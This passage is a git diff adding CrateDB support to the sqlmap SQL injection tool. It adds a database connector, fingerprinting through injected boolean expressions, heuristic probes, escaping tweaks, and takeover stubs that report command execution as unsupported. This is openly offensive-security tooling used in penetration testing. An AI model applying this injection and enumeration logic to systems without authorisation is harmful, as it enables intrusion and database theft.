plugins/dbms/cratedb/fingerprint.py | 94 +++++++++++++++++++++++++ plugins/dbms/cratedb/syntax.py | 18 +++++ plugins/dbms/cratedb/takeover.py | 28 ++++++++ plugins/generic/databases.py | 12 ++-- plugins/generic/entries.py | 10 ++- 21 files changed, 401 insertions(+), 60 deletions(-) create mode 100644 plugins/dbms/cratedb/__init__.py create mode 100644 plugins/dbms/cratedb/connector.py create mode 100644 plugins/dbms/cratedb/enumeration.py create mode 100644 plugins/dbms/cratedb/filesystem.py create mode 100644 plugins/dbms/cratedb/fingerprint.py create mode 100644 plugins/dbms/cratedb/syntax.py create mode 100644 plugins/dbms/cratedb/takeover.py diff --git a/data/xml/queries.xml b/data/xml/queries.xml index cf19795eb..3677a5151 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -1,7 +1,6 @@ - @@ -78,7 +77,6 @@ - @@ -153,7 +151,6 @@ - @@ -225,7 +222,6 @@ - @@ -322,7 +318,6 @@ - @@ -376,7 +371,6 @@ - @@ -421,7 +415,6 @@ - @@ -478,12 +471,6 @@ - - - - - - @@ -536,7 +523,6 @@ - @@ -606,7 +592,6 @@ - @@ -679,7 +664,6 @@ - @@ -813,9 +797,6 @@ - - - @@ -877,7 +858,6 @@ - @@ -942,7 +922,6 @@ - @@ -1011,7 +990,6 @@ - @@ -1088,9 +1066,8 @@ - - + @@ -1130,7 +1107,6 @@ - @@ -1192,7 +1168,6 @@ - @@ -1265,9 +1240,8 @@ - - + @@ -1334,4 +1308,77 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 07541f5f8..9e558a414 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -885,11 +885,15 @@ def heuristicCheckDbms(injection): Backend.forceDbms(dbms) - if (randStr1 in unescaper.escape("'%s'" % randStr1)) and list(FROM_DUMMY_TABLE.values()).count(FROM_DUMMY_TABLE.get(dbms, "")) != 1: - continue + if dbms in HEURISTIC_NULL_EVAL: + result = checkBooleanExpression("(SELECT %s%s) IS NULL" % (HEURISTIC_NULL_EVAL[dbms], FROM_DUMMY_TABLE.get(dbms, ""))) + elif not ((randStr1 in unescaper.escape("'%s'" % randStr1)) and list(FROM_DUMMY_TABLE.values()).count(FROM_DUMMY_TABLE.get(dbms, "")) != 1): + result = checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr1, SINGLE_QUOTE_MARKER)) + else: + result = False - if checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr1, SINGLE_QUOTE_MARKER)): - if dbms in HEURISTIC_NULL_EVAL and checkBooleanExpression("(SELECT %s%s) IS NULL" % (HEURISTIC_NULL_EVAL[dbms], FROM_DUMMY_TABLE.get(dbms, ""))) or not checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr2, SINGLE_QUOTE_MARKER)): + if result: + if not checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr2, SINGLE_QUOTE_MARKER)): retVal = dbms break diff --git a/lib/controller/handler.py b/lib/controller/handler.py index 7d45e478d..7c3ed9e2b 100644 --- a/lib/controller/handler.py +++ b/lib/controller/handler.py @@ -13,6 +13,7 @@ from lib.core.enums import DBMS from lib.core.exception import SqlmapConnectionException from lib.core.settings import ACCESS_ALIASES from lib.core.settings import ALTIBASE_ALIASES +from lib.core.settings import CRATEDB_ALIASES from lib.core.settings import DB2_ALIASES from lib.core.settings import DERBY_ALIASES from lib.core.settings import FIREBIRD_ALIASES @@ -37,6 +38,8 @@ from plugins.dbms.access.connector import Connector as AccessConn from plugins.dbms.access import AccessMap from plugins.dbms.altibase.connector import Connector as AltibaseConn from plugins.dbms.altibase import AltibaseMap +from plugins.dbms.cratedb.connector import Connector as CrateDBConn +from plugins.dbms.cratedb import CrateDBMap from plugins.dbms.db2.connector import Connector as DB2Conn from plugins.dbms.db2 import DB2Map from plugins.dbms.derby.connector import Connector as DerbyConn @@ -101,6 +104,7 @@ def setHandler(): (DBMS.PRESTO, PRESTO_ALIASES, PrestoMap, PrestoConn), (DBMS.ALTIBASE, ALTIBASE_ALIASES, AltibaseMap, AltibaseConn), (DBMS.MIMERSQL, MIMERSQL_ALIASES, MimerSQLMap, MimerSQLConn), + (DBMS.CRATEDB, CRATEDB_ALIASES, CrateDBMap, CrateDBConn), ] _ = max(_ if (conf.get("dbms") or Backend.getIdentifiedDbms() or kb.heuristicExtendedDbms or "").lower() in _[1] else () for _ in items) diff --git a/lib/core/agent.py b/lib/core/agent.py index aad9db4b0..aff58a915 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -659,7 +659,7 @@ class Agent(object): elif fieldsNoSelect: concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop) - elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.ALTIBASE, DBMS.MIMERSQL): + elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.CRATEDB): if fieldsExists: concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1) concatenatedQuery += "||'%s'" % kb.chars.stop @@ -956,7 +956,7 @@ class Agent(object): limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num + 1, 1) limitedQuery += " %s" % limitStr - elif Backend.getIdentifiedDbms() in (DBMS.DERBY,): + elif Backend.getIdentifiedDbms() in (DBMS.DERBY, DBMS.CRATEDB): limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (1, num) limitedQuery += " %s" % limitStr diff --git a/lib/core/common.py b/lib/core/common.py index d3ab85112..f21fb0d6f 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -4072,7 +4072,7 @@ def safeSQLIdentificatorNaming(name, isTable=False): if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.SQLITE): # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users) retVal = "`%s`" % retVal - elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO): + elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB): retVal = "\"%s\"" % retVal elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL): retVal = "\"%s\"" % retVal.upper() @@ -4110,7 +4110,7 @@ def unsafeSQLIdentificatorNaming(name): if isinstance(name, six.string_types): if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.SQLITE): retVal = name.replace("`", "") - elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO): + elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB): retVal = name.replace("\"", "") elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL): retVal = name.replace("\"", "").upper() diff --git a/lib/core/dicts.py b/lib/core/dicts.py index d407d14df..5c18d74d0 100644 --- a/lib/core/dicts.py +++ b/lib/core/dicts.py @@ -12,6 +12,7 @@ from lib.core.enums import POST_HINT from lib.core.settings import ACCESS_ALIASES from lib.core.settings import ALTIBASE_ALIASES from lib.core.settings import BLANK +from lib.core.settings import CRATEDB_ALIASES from lib.core.settings import DB2_ALIASES from lib.core.settings import DERBY_ALIASES from lib.core.settings import FIREBIRD_ALIASES @@ -212,6 +213,7 @@ DBMS_DICT = { DBMS.PRESTO: (PRESTO_ALIASES, "presto-python-client", "https://github.com/prestodb/presto-python-client", None), DBMS.ALTIBASE: (ALTIBASE_ALIASES, None, None, None), DBMS.MIMERSQL: (MIMERSQL_ALIASES, "mimerpy", "https://github.com/mimersql/MimerPy", None), + DBMS.CRATEDB: (CRATEDB_ALIASES, "python-psycopg2", "http://initd.org/psycopg/", "postgresql"), } # Reference: https://blog.jooq.org/tag/sysibm-sysdummy1/ @@ -241,7 +243,8 @@ HEURISTIC_NULL_EVAL = { DBMS.MCKOI: "TONUMBER(NULL)", DBMS.PRESTO: "FROM_HEX(NULL)", DBMS.ALTIBASE: "TDESENCRYPT(NULL,NULL)", - DBMS.MIMERSQL: "ASCII_CHAR(256) IS NULL", + DBMS.MIMERSQL: "ASCII_CHAR(256)", + DBMS.CRATEDB: "(NULL~NULL)", } SQL_STATEMENTS = { diff --git a/lib/core/dump.py b/lib/core/dump.py index 007b4d09b..a79382a44 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -166,7 +166,7 @@ class Dump(object): def currentDb(self, data): if Backend.isDbms(DBMS.MAXDB): self.string("current database (no practical usage on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB) - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA): + elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.CRATEDB): self.string("current schema (equivalent to database on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB) elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE, DBMS.MIMERSQL): self.string("current user (equivalent to database on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB) diff --git a/lib/core/enums.py b/lib/core/enums.py index dcdf2a397..f8f8aa7f8 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -52,6 +52,7 @@ class DBMS(object): PRESTO = "Presto" ALTIBASE = "Altibase" MIMERSQL = "MimerSQL" + CRATEDB = "CrateDB" class DBMS_DIRECTORY_NAME(object): ACCESS = "access" @@ -74,6 +75,7 @@ class DBMS_DIRECTORY_NAME(object): PRESTO = "presto" ALTIBASE = "altibase" MIMERSQL = "mimersql" + CRATEDB = "cratedb" class FORK(object): MARIADB = "MariaDB" diff --git a/lib/core/settings.py b/lib/core/settings.py index 6b8277c93..98191128c 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.2.2" +VERSION = "1.4.2.3" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -266,6 +266,7 @@ MCKOI_SYSTEM_DBS = ("",) PRESTO_SYSTEM_DBS = ("information_schema",) ALTIBASE_SYSTEM_DBS = ("SYSTEM_",) MIMERSQL_SYSTEM_DBS = ("information_schema", "SYSTEM",) +CRATEDB_SYSTEM_DBS = ("information_schema", "pg_catalog", "sys") # Note: () + () MSSQL_ALIASES = ("microsoft sql server", "mssqlserver", "mssql", "ms") @@ -288,13 +289,14 @@ MCKOI_ALIASES = ("mckoi",) PRESTO_ALIASES = ("presto",) ALTIBASE_ALIASES = ("altibase",) MIMERSQL_ALIASES = ("mimersql", "mimer") +CRATEDB_ALIASES = ("cratedb", "crate") DBMS_DIRECTORY_DICT = dict((getattr(DBMS, _), getattr(DBMS_DIRECTORY_NAME, _)) for _ in dir(DBMS) if not _.startswith("_")) -SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES + MONETDB_ALIASES + DERBY_ALIASES + VERTICA_ALIASES + MCKOI_ALIASES + PRESTO_ALIASES + ALTIBASE_ALIASES +SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES + MONETDB_ALIASES + DERBY_ALIASES + VERTICA_ALIASES + MCKOI_ALIASES + PRESTO_ALIASES + ALTIBASE_ALIASES + MIMERSQL_ALIASES + CRATEDB_ALIASES SUPPORTED_OS = ("linux", "windows") -DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES), (DBMS.MONETDB, MONETDB_ALIASES), (DBMS.DERBY, DERBY_ALIASES), (DBMS.VERTICA, VERTICA_ALIASES), (DBMS.MCKOI, MCKOI_ALIASES), (DBMS.PRESTO, PRESTO_ALIASES), (DBMS.ALTIBASE, ALTIBASE_ALIASES)) +DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES), (DBMS.MONETDB, MONETDB_ALIASES), (DBMS.DERBY, DERBY_ALIASES), (DBMS.VERTICA, VERTICA_ALIASES), (DBMS.MCKOI, MCKOI_ALIASES), (DBMS.PRESTO, PRESTO_ALIASES), (DBMS.ALTIBASE, ALTIBASE_ALIASES), (DBMS.MIMERSQL, MIMERSQL_ALIASES), (DBMS.CRATEDB, CRATEDB_ALIASES)) USER_AGENT_ALIASES = ("ua", "useragent", "user-agent") REFERER_ALIASES = ("ref", "referer", "referrer") @@ -745,7 +747,7 @@ VALID_TIME_CHARS_RUN_THRESHOLD = 100 CHECK_ZERO_COLUMNS_THRESHOLD = 10 # Boldify all logger messages containing these "patterns" -BOLD_PATTERNS = ("' injectable", "provided empty", "leftover chars", "might be injectable", "' is vulnerable", "is not injectable", "does not seem to be", "test failed", "test passed", "live test final result", "test shows that", "the back-end DBMS is", "created Github", "blocked by the target server", "protection is involved", "CAPTCHA", "specific response", "NULL connection is supported", "PASSED", "FAILED", "for more than") +BOLD_PATTERNS = ("' injectable", "provided empty", "leftover chars", "might be injectable", "' is vulnerable", "is not injectable", "does not seem to be", "test failed", "test passed", "live test final result", "test shows that", "the back-end DBMS is", "created Github", "blocked by the target server", "protection is involved", "CAPTCHA", "specific response", "NULL connection is supported", "PASSED", "FAILED", "for more than", "connection to ") # TLDs used in randomization of email-alike parameter values RANDOMIZATION_TLDS = ("com", "net", "ru", "org", "de", "jp", "cn", "fr", "it", "pl", "tv", "edu", "in", "ir", "es", "me", "info", "gr", "gov", "ca", "co", "se", "cz", "to", "vn", "nl", "cc", "az", "hu", "ua", "be", "no", "biz", "io", "ch", "ro", "sk", "eu", "us", "tw", "pt", "fi", "at", "lt", "kz", "cl", "hr", "pk", "lv", "la", "pe") diff --git a/lib/core/unescaper.py b/lib/core/unescaper.py index 6f7956a14..5d26f7a48 100644 --- a/lib/core/unescaper.py +++ b/lib/core/unescaper.py @@ -21,10 +21,15 @@ class Unescaper(AttribDict): identifiedDbms = Backend.getIdentifiedDbms() if dbms is not None: - return self[dbms](expression, quote=quote) + retVal = self[dbms](expression, quote=quote) elif identifiedDbms is not None: - return self[identifiedDbms](expression, quote=quote) + retVal = self[identifiedDbms](expression, quote=quote) else: - return expression + retVal = expression + + # e.g. inference comparison for ' + retVal = retVal.replace("'''", "''''") + + return retVal unescaper = Unescaper() diff --git a/lib/request/inject.py b/lib/request/inject.py index bc7a787d7..e74bea6aa 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -105,7 +105,7 @@ def _goInference(payload, expression, charsetType=None, firstChar=None, lastChar if (conf.eta or conf.threads > 1) and Backend.getIdentifiedDbms() and not re.search(r"(COUNT|LTRIM)\(", expression, re.I) and not (timeBasedCompare and not kb.forceThreads): if field and re.search(r"\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", expression, re.I): - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.MONETDB, DBMS.VERTICA): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.MONETDB, DBMS.VERTICA, DBMS.CRATEDB): alias = randomStr(lowercase=True, seed=hash(expression)) expression = "SELECT %s FROM (%s)" % (field if '.' not in field else re.sub(r".+\.", "%s." % alias, field), expression) # Note: MonetDB as a prime example expression += " AS %s" % alias @@ -496,7 +496,7 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser if not any((kb.testMode, conf.dummy, conf.offline)) and value is None and Backend.getDbms() and conf.dbmsHandler and not conf.noCast and not conf.hexConvert: warnMsg = "in case of continuous data retrieval problems you are advised to try " warnMsg += "a switch '--no-cast' " - warnMsg += "or switch '--hex'" if Backend.getIdentifiedDbms() not in (DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MONETDB, DBMS.MCKOI, DBMS.MIMERSQL) else "" + warnMsg += "or switch '--hex'" if Backend.getIdentifiedDbms() not in (DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MONETDB, DBMS.MCKOI, DBMS.MIMERSQL, DBMS.CRATEDB) else "" singleTimeWarnMessage(warnMsg) # Dirty patch (safe-encoded unicode characters) diff --git a/lib/utils/deps.py b/lib/utils/deps.py index 85e06d743..3fbb822f8 100644 --- a/lib/utils/deps.py +++ b/lib/utils/deps.py @@ -29,7 +29,7 @@ def checkDependencies(): logger.warn(warnMsg) elif dbmsName == DBMS.MYSQL: __import__("pymysql") - elif dbmsName == DBMS.PGSQL: + elif dbmsName in (DBMS.PGSQL, DBMS.CRATEDB): __import__("psycopg2") elif dbmsName == DBMS.ORACLE: __import__("cx_Oracle") diff --git a/plugins/dbms/cratedb/__init__.py b/plugins/dbms/cratedb/__init__.py new file mode 100644 index 000000000..49494e2fd --- /dev/null +++ b/plugins/dbms/cratedb/__init__.py @@ -0,0 +1,30 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import DBMS +from lib.core.settings import CRATEDB_SYSTEM_DBS +from lib.core.unescaper import unescaper + +from plugins.dbms.cratedb.enumeration import Enumeration +from plugins.dbms.cratedb.filesystem import Filesystem +from plugins.dbms.cratedb.fingerprint import Fingerprint +from plugins.dbms.cratedb.syntax import Syntax +from plugins.dbms.cratedb.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class CrateDBMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines CrateDB methods + """ + + def __init__(self): + self.excludeDbsList = CRATEDB_SYSTEM_DBS + + for cls in self.__class__.__bases__: + cls.__init__(self) + + unescaper[DBMS.CRATEDB] = Syntax.escape diff --git a/plugins/dbms/cratedb/connector.py b/plugins/dbms/cratedb/connector.py new file mode 100644 index 000000000..acd70b6b5 --- /dev/null +++ b/plugins/dbms/cratedb/connector.py @@ -0,0 +1,73 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +try: + import psycopg2 + import psycopg2.extensions + psycopg2.extensions.register_type(psycopg2.extensions.UNICODE) + psycopg2.extensions.register_type(psycopg2.extensions.UNICODEARRAY) +except: + pass + +from lib.core.common import getSafeExString +from lib.core.data import logger +from lib.core.exception import SqlmapConnectionException +from plugins.generic.connector import Connector as GenericConnector + +class Connector(GenericConnector): + """ + Homepage: http://initd.org/psycopg/ + User guide: http://initd.org/psycopg/docs/ + API: http://initd.org/psycopg/docs/genindex.html + Debian package: python-psycopg2 + License: GPL + + Possible connectors: http://wiki.python.org/moin/PostgreSQL + """ + + def connect(self): + self.initConnection() + + try: + self.connector = psycopg2.connect(host=self.hostname, user=self.user, password=self.password, database=self.db, port=self.port) + except psycopg2.OperationalError as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + self.connector.set_client_encoding('UNICODE') + + self.initCursor() + self.printConnected() + + def fetchall(self): + try: + return self.cursor.fetchall() + except psycopg2.ProgrammingError as ex: + logger.warn(getSafeExString(ex)) + return None + + def execute(self, query): + retVal = False + + try: + self.cursor.execute(query) + retVal = True + except (psycopg2.OperationalError, psycopg2.ProgrammingError) as ex: + logger.warn(("(remote) '%s'" % getSafeExString(ex)).strip()) + except psycopg2.InternalError as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + self.connector.commit() + + return retVal + + def select(self, query): + retVal = None + + if self.execute(query): + retVal = self.fetchall() + + return retVal diff --git a/plugins/dbms/cratedb/enumeration.py b/plugins/dbms/cratedb/enumeration.py new file mode 100644 index 000000000..20a060e47 --- /dev/null +++ b/plugins/dbms/cratedb/enumeration.py @@ -0,0 +1,22 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.data import logger +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + def getPasswordHashes(self): + warnMsg = "on CrateDB it is not possible to enumerate the user password hashes" + logger.warn(warnMsg) + + return {} + + def getRoles(self, *args, **kwargs): + warnMsg = "on CrateDB it is not possible to enumerate the user roles" + logger.warn(warnMsg) + + return {} diff --git a/plugins/dbms/cratedb/filesystem.py b/plugins/dbms/cratedb/filesystem.py new file mode 100644 index 000000000..e8c642492 --- /dev/null +++ b/plugins/dbms/cratedb/filesystem.py @@ -0,0 +1,11 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + pass diff --git a/plugins/dbms/cratedb/fingerprint.py b/plugins/dbms/cratedb/fingerprint.py new file mode 100644 index 000000000..64180be0f --- /dev/null +++ b/plugins/dbms/cratedb/fingerprint.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import Format +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.core.session import setDbms +from lib.core.settings import CRATEDB_ALIASES +from lib.request import inject +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self, DBMS.CRATEDB) + + def getFingerprint(self): + value = "" + wsOsFp = Format.getOs("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += DBMS.CRATEDB + return value + + actVer = Format.getDbms() + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = Format.getErrorParsedDBMSes() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + return value + + def checkDbms(self): + if not conf.extensiveFp and Backend.isDbmsWithin(CRATEDB_ALIASES): + setDbms(DBMS.CRATEDB) + + self.getBanner() + + return True + + infoMsg = "testing %s" % DBMS.CRATEDB + logger.info(infoMsg) + + result = inject.checkBooleanExpression("IGNORE3VL(NULL IS NULL)") + + if result: + infoMsg = "confirming %s" % DBMS.CRATEDB + logger.info(infoMsg) + + result = inject.checkBooleanExpression("1~1") + + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.CRATEDB + logger.warn(warnMsg) + + return False + + setDbms(DBMS.CRATEDB) + + self.getBanner() + + return True + else: + warnMsg = "the back-end DBMS is not %s" % DBMS.CRATEDB + logger.warn(warnMsg) + + return False diff --git a/plugins/dbms/cratedb/syntax.py b/plugins/dbms/cratedb/syntax.py new file mode 100644 index 000000000..dc6c66174 --- /dev/null +++ b/plugins/dbms/cratedb/syntax.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + @staticmethod + def escape(expression, quote=True): + """ + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == u"SELECT 'abcdefgh' FROM foobar" + True + """ + + return expression diff --git a/plugins/dbms/cratedb/takeover.py b/plugins/dbms/cratedb/takeover.py new file mode 100644 index 000000000..8a66cffee --- /dev/null +++ b/plugins/dbms/cratedb/takeover.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + def osCmd(self): + errMsg = "on CrateDB it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osShell(self): + errMsg = "on CrateDB it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osPwn(self): + errMsg = "on CrateDB it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osSmb(self): + errMsg = "on CrateDB it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index d5b291b13..6bf03dce6 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -82,7 +82,7 @@ class Databases(object): if not kb.data.currentDb and Backend.isDbms(DBMS.VERTICA): kb.data.currentDb = VERTICA_DEFAULT_SCHEMA - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL): + if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL, DBMS.CRATEDB): warnMsg = "on %s you'll need to use " % Backend.getIdentifiedDbms() warnMsg += "schema names for enumeration as the counterpart to database " warnMsg += "names on other DBMSes" @@ -107,7 +107,7 @@ class Databases(object): warnMsg += "names will be fetched from 'mysql' database" logger.warn(warnMsg) - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL): + elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL, DBMS.CRATEDB): warnMsg = "schema names are going to be used on %s " % Backend.getIdentifiedDbms() 